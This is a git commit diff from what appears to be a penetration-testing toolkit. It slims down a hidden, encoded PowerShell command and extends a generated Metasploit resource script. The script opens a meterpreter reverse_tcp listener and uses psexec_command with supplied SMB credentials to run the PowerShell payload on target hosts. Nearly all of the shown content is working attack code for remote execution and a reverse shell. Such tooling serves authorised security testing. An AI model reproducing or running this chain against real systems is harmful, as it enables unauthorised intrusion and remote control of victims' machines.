Slimmed down powershell psexec code

This commit is contained in:
TrustedSec 2013-07-28 10:23:15 -04:00
parent 8e53e3bec9
commit 496d030700

View file

@ -53,7 +53,7 @@ try:
x86 = file(setdir + "/x86.powershell", "r")
x86 = x86.read()
x86 = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + x86
x86 = "powershell -nop -window hidden -noni -enc " + x86
print_status("If you want the powershell commands and attack, they are exported to %s/reports/powershell/" % (setdir))
filewrite = file(setdir + "/reports/powershell/x86_powershell_injection.txt", "w")
filewrite.write(x86)
@ -63,7 +63,7 @@ try:
# write out our answer file for the powershell injection attack
filewrite = file(setdir + "/reports/powershell/powershell.rc", "w")
filewrite.write("use multi/handler\nset payload windows/meterpreter/reverse_tcp\nset lport %s\nset LHOST 0.0.0.0\nexploit -j\nuse auxiliary/admin/smb/psexec_command\nset RHOSTS %s\nset SMBUser %s\nset SMBPass %s\nset SMBDomain %s\nset THREADS %s\nset COMMAND %s\nexploit\n" % (port,rhosts,username,password,domain,threads,command))
filewrite.write("use multi/handler\nset payload windows/meterpreter/reverse_tcp\nset lport %s\nset LHOST 0.0.0.0\nexploit -j\nuse auxiliary/admin/smb/psexec_command\nset RHOSTS %s\nset SMBUser %s\nset SMBPass %s\nset SMBDomain %s\nset THREADS %s\nset COMMAND %s\nset EnableStageEncoding true\nset ExitOnSession false\nexploit\n" % (port,rhosts,username,password,domain,threads,command))
filewrite.close()
msf_path = meta_path()
# launch metasploit below